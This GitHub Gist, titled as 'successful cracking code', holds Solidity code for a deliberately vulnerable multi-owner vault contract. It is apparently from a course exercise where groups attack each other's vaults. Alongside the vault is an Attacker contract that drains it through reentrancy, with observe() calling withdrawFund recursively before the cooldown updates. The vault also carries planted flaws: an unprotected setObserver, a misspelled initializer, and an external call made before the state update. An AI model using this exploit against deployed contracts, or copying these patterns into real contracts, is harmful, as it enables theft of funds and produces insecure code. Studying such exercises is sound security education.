Last active
February 3, 2018 00:16
-
-
Save windse7en/87abd792ef94594de258263e89bba014 to your computer and use it in GitHub Desktop.
破解成功代码
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.17; | |
contract BasicMultiOwnerVault { | |
address[] public authorizedUsers; | |
address public owner; | |
address public withdrawObserver; | |
// 破解要用的新的contract地址 | |
address public additionalAuthorizedContract; | |
// 用来更新additionalAuthorizedContract的中间变量 | |
address public proposedAAA; | |
uint public lastUpdated; | |
// vote管理更新additionalAuthorizedContract的投票 | |
bool[] public votes; | |
address [] public observerHistory; | |
modifier onlyAuthorized() { | |
bool pass = false; | |
if(additionalAuthorizedContract == msg.sender) { | |
pass = true; | |
} | |
for (uint i = 0; i < authorizedUsers.length; i++) { | |
if(authorizedUsers [i] == msg.sender) { | |
pass = true; | |
break; | |
} | |
} | |
require (pass); | |
_; | |
} | |
modifier onlyOnce() { | |
require(owner == 0x0); | |
_; | |
} | |
modifier onlyOwner() { | |
require(msg.sender == owner); | |
_; | |
} | |
modifier recordAction() { | |
lastUpdated = now; | |
_; | |
} | |
// 只有一次开始设定owner | |
function initilizeVault() recordAction onlyOnce { | |
owner = msg.sender; | |
} | |
// 添加observer的contract到withdrawObserver上面,可以调用observer function | |
// 有一个history来记录,如果有的话就不再添加。 | |
function setObserver(address ob) { | |
bool duplicate = false; | |
for (uint i = 0; i < observerHistory.length; i++) { | |
if (observerHistory[i] == ob) { | |
duplicate = true; | |
} | |
} | |
if (!duplicate) { | |
withdrawObserver = ob; | |
observerHistory.push(ob); | |
} | |
} | |
// 加钱的代码,给合约加钱 | |
function addToReserve() payable recordAction external returns (uint) { | |
assert(msg.value > 0.01 ether); | |
return this.balance; | |
} | |
// 取钱代码,只有drived和本身可以call。 | |
function basicWithdraw(address dst) internal returns (bool) { | |
require(this.balance >= 0.001 ether); | |
bool res = dst.call.value(0.001 ether)(); | |
return res; | |
} | |
// 检查所有的vote为true | |
function checkAllVote() private returns (bool) { | |
for(uint i = 0; i < votes.length; i++) { | |
if(!votes[i]) { | |
return false; | |
} | |
} | |
return true; | |
} | |
// 开始所有的vote清零 | |
function clearVote() private { | |
for(uint i = 0; i < votes.length; i++) { | |
votes[i] = false; | |
} | |
} | |
// 授权的用户来添加vote,如果当前proposal地址不对就会重新清空vote,更新proposal地址 | |
// 如果一致,就更新添加的授权contract地址为proposedAAA,然后清空vote | |
function addAuthorizedAccount(uint votePosition, address proposal) onlyAuthorized external { | |
require(votePosition < authorizedUsers.length); | |
require(msg.sender == authorizedUsers[votePosition]); | |
if (proposal != proposedAAA) { | |
clearVote(); | |
proposedAAA = proposal; | |
} | |
votes[votePosition] = true; | |
if (checkAllVote()) { | |
additionalAuthorizedContract = proposedAAA; | |
clearVote(); | |
} | |
} | |
// 过了12小时以后,老董可以从blockchain上删除整个contrac | |
// link: http://solidity.readthedocs.io/en/develop/introduction-to-smart-contracts.html#self-destruct | |
function resolve() onlyOwner { | |
if(now >= lastUpdated + 12 hours) { | |
selfdestruct(owner); | |
} | |
} | |
} | |
contract TimeDelayedVault is BasicMultiOwnerVault { | |
uint public nextWithdrawTime; | |
uint public withdrawCoolDownTime; | |
// 最开始第一次初始化,可以多次调用, 但里面调用了initializeVault | |
// 可能只可以一次,考虑可不可以多次调用这个function,来更新别的组的时间 | |
function TimeDelayedVault() recordAction { | |
nextWithdrawTime = now; | |
withdrawCoolDownTime = 2 minutes; | |
this.call(bytes4(sha3("initializeVault()"))); | |
// Please note, the following code chunk is different for each group, all group members are added to authorizedUsers array | |
authorizedUsers.push(0x44f4184a8915aab90b6fd2740ab008330b28067f); | |
for(uint i=0; i<authorizedUsers.length; i++) { | |
votes.push(false); | |
} | |
} | |
// 取钱,次数有限,会调用外部的observe function,更新取钱时间 | |
function withdrawFund(address dst) onlyAuthorized external payable returns (bool) { | |
require(now > nextWithdrawTime); | |
assert(withdrawObserver.call(bytes4(sha3("observe()")))); | |
bool res = basicWithdraw(dst); | |
nextWithdrawTime = nextWithdrawTime + withdrawCoolDownTime; | |
return res; | |
} | |
} | |
contract Attacker{ | |
//limit the recursive calls to prevent out of gas error | |
uint public stack = 0; | |
uint public stackLimit = 3; | |
address public toId = 0xd74bee08de18edfedaad7e39e8939ebae9d5e09b; | |
TimeDelayedVault dao; | |
function setLimit(uint limit) { | |
stackLimit = limit; | |
} | |
function setToId(address id) { | |
toId = id; | |
} | |
function getBalance() returns (uint){ | |
return this.balance; | |
} | |
function Attacker(address daoAddress) payable{ | |
dao = TimeDelayedVault(daoAddress); | |
} | |
function transferMoney() public payable{ | |
if(stack++ < stackLimit){ | |
dao.withdrawFund(toId); | |
} | |
} | |
function observe() public returns (bool) { | |
transferMoney(); | |
return true; | |
} | |
function resolve(){ | |
selfdestruct(msg.sender); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment